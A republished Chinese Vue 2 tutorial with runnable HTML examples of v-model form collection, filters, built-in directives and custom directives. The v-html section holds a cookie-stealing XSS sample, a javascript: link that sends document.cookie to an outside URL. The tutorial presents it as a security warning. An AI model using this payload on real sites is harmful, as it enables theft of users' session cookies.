您的位置:首页 > 文旅 > 旅游 > 网络宣传推广策划范文_中华人民共和国住建部_美业推广平台_站内营销推广方式

网络宣传推广策划范文_中华人民共和国住建部_美业推广平台_站内营销推广方式

2024/12/23 10:49:12 来源:https://blog.csdn.net/weixin_45980065/article/details/142769770  浏览:    关键词:网络宣传推广策划范文_中华人民共和国住建部_美业推广平台_站内营销推广方式
网络宣传推广策划范文_中华人民共和国住建部_美业推广平台_站内营销推广方式

文章目录

  • 1 收集表单数据
  • 2 过滤器
  • 3 内置指令
    • 3.1 v-text指令
    • 3.2 v-html指令
    • 3.3 v-cloak指令
    • 3.4 v-once指令
    • 3.5 v-pre指令
  • 4 自定义指令
    • 4.1 自定义指令
    • 4.2 回顾一个DOM操作

1 收集表单数据

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>收集表单数据</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 收集表单数据:若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。若:<input type="checkbox"/>1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)2.配置input的value属性:(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)(2)v-model的初始值是数组,那么收集的的就是value组成的数组备注:v-model的三个修饰符:lazy:失去焦点再收集数据number:输入字符串转为有效的数字trim:输入首尾空格过滤--><!-- 准备好一个容器--><div id="root"><!-- 阻止默认行为: 表单提交之后跳转 --><form @submit.prevent="demo"><!-- action="" ajax:在页面不刷新的情况下获取数据或把数据送走,将所收集的数据整理为JSON格式,然后传递给后端 -->账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>密码:<input type="password" v-model="userInfo.password"> <br/><br/>年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>性别:男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>爱好:学习<input type="checkbox" v-model="userInfo.hobby" value="study">打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>所属校区<select v-model="userInfo.city"><option value="">请选择校区</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br/><br/>其他信息:<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/><input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a><button>提交</button></form></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{userInfo:{account:'',password:'',age:18,sex:'female',hobby:[],city:'beijing',other:'',agree:'' // true / false}},methods: {demo(){//console.log(JSON.stringify(this._data))console.log(JSON.stringify(this.userInfo))}}})</script>
</html>

2 过滤器

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>过滤器</title><script type="text/javascript" src="../js/vue.js"></script><script type="text/javascript" src="../js/dayjs.min.js"></script></head><body><!-- 过滤器:定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。语法:1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"备注:1.过滤器也可以接收额外参数、多个过滤器也可以串联2.并没有改变原本的数据, 是产生新的对应的数据--><!-- 准备好一个容器--><div id="root"><h2>显示格式化后的时间</h2><!-- 计算属性实现 --><h3>现在是:{{fmtTime}}</h3><!-- methods实现,加()调用方法 --><h3>现在是:{{getFmtTime()}}</h3><!-- 过滤器实现 --><!-- time传给timeFormater,timeFormater的返回值替换掉{{time | timeFormater}} --><h3>现在是:{{time | timeFormater}}</h3><!-- 过滤器实现(传参) --><!-- 第一个参数依旧是time,第二个参数是'YYYY_MM_DD' --><!-- 多个过滤器可以串联,time->timeFormater、timeFormater返回值->mySlice。mySlice:切割字符串,只保留字符串的前四位 --><h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3><!-- 过滤器:1. 插值语法 2. v-bind --><h3 :x="msg | mySlice">尚硅谷</h3></div><!-- 组件就是小型的vm --><div id="root2"><h2>{{msg | mySlice}}</h2></div></body><script type="text/javascript">Vue.config.productionTip = false//全局过滤器,必须在new Vue之前就准备好Vue.filter('mySlice',function(value){return value.slice(0,4)})new Vue({el:'#root',data:{time:1621561377603, //时间戳msg:'你好,尚硅谷'},computed: {fmtTime(){//dayjs()中如果不传参数就格式化当前时间戳return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},methods: {getFmtTime(){return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},//局部过滤器filters:{//过滤器的本质就是一个函数timeFormater(value, str='YYYY年MM月DD日 HH:mm:ss'){// console.log('@',value)//return dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')return dayjs(value).format(str)}}})new Vue({el:'#root2',data:{msg:'hello,atguigu!'}})</script>
</html>

3 内置指令

3.1 v-text指令

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-text指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 我们学过的指令:v-bind	: 单向绑定解析表达式, 可简写为 :xxxv-model	: 双向数据绑定v-for  	: 遍历数组/对象/字符串v-on   	: 绑定事件监听, 可简写为@v-if 	: 条件渲染(动态控制节点是否存存在)v-else 	: 条件渲染(动态控制节点是否存存在)v-show 	: 条件渲染(动态控制节点是否展示)v-text指令:1.作用:向其所在的节点中渲染文本内容。2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。--><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-text="name"></div><div v-text="str"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>' //不解析h3,当作文本}})</script>
</html>

3.2 v-html指令

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- v-html指令:1.作用:向指定节点中渲染包含html结构的内容。2.与插值语法的区别:(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。(2).v-html可以识别html结构。3.严重注意:v-html有安全性问题!!!!(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS(冒充用户之手)攻击。(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!--><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>',//document.cookie:获取当前所处页面的全部cookie,并作为参数传入跳转页面str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',}})</script>
</html>

3.3 v-cloak指令

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style><!-- 引入Vue --></head><body><!-- v-cloak指令(没有值):1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。--><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>

3.4 v-once指令

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- v-once指令:1.v-once所在节点在初次动态渲染后,就视为静态内容了。2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。--><!-- 准备好一个容器--><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>

3.5 v-pre指令

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- v-pre指令:1.跳过其所在节点的编译过程(vue不解析了)。2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。--><!-- 准备好一个容器--><div id="root"><h2 v-pre>Vue其实很简单</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>

4 自定义指令

4.1 自定义指令

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。自定义指令总结:一、定义语法:(1).局部指令:new Vue({								  new Vue({directives:{指令名:配置对象}     或   		directives{指令名:回调函数}}) 										  })(2).全局指令:Vue.directive(指令名,配置对象)       或     Vue.directive(指令名,回调函数)二、配置对象中常用的3个回调:(1).bind:指令与元素成功绑定时调用。(2).inserted:指令所在元素被插入页面时调用。(3).update:指令所在模板结构被重新解析时调用。三、备注:1.指令定义时不加v-,但使用时要加v-;2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。--><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr/><input type="text" v-fbind:value="n"></div></body><script type="text/javascript">Vue.config.productionTip = false//定义全局指令/* Vue.directive('fbind',{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) *//*Vue.directive('big',function(element,binding){console.log('big',this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10}) */new Vue({el:'#root',data:{name:'尚硅谷',n:1},directives:{//big函数何时会被调用? 1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。/* 'big-number'(element--DOM元素, binding--元素绑定指令){// console.log('big')element.innerText = binding.value * 10}, */big(element,binding){console.log('big',this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10},/*fbind(element,binding){element.value = binding.value//一上来没有获取焦点,点击按钮之后才获取焦点element.focus() // 【第一次调用:指令与元素成功绑定时】一上来input和v-fbind就绑定了(仅仅是建立了关系),但是input并没有放入页面},*/fbind:{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus() // 只有刚开始获取焦点,随后改变之后不获取焦点了},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value//element.focus()}}}})</script>
</html>

4.2 回顾一个DOM操作

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>回顾一个DOM操作</title><style>.demo{background-color: orange;}</style></head><body><button id="btn">点我创建一个输入框</button><script type="text/javascript" >const btn = document.getElementById('btn')btn.onclick = ()=>{const input = document.createElement('input')input.className = 'demo'input.value = 99input.onclick = ()=>{alert(1)}document.body.appendChild(input) // 第24行input.focus() // 必须放在24行之后(元素放在页面上后才能获取焦点)// input.parentElement.style.backgroundColor = 'skyblue'console.log(input.parentElement)}</script></body>
</html>

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com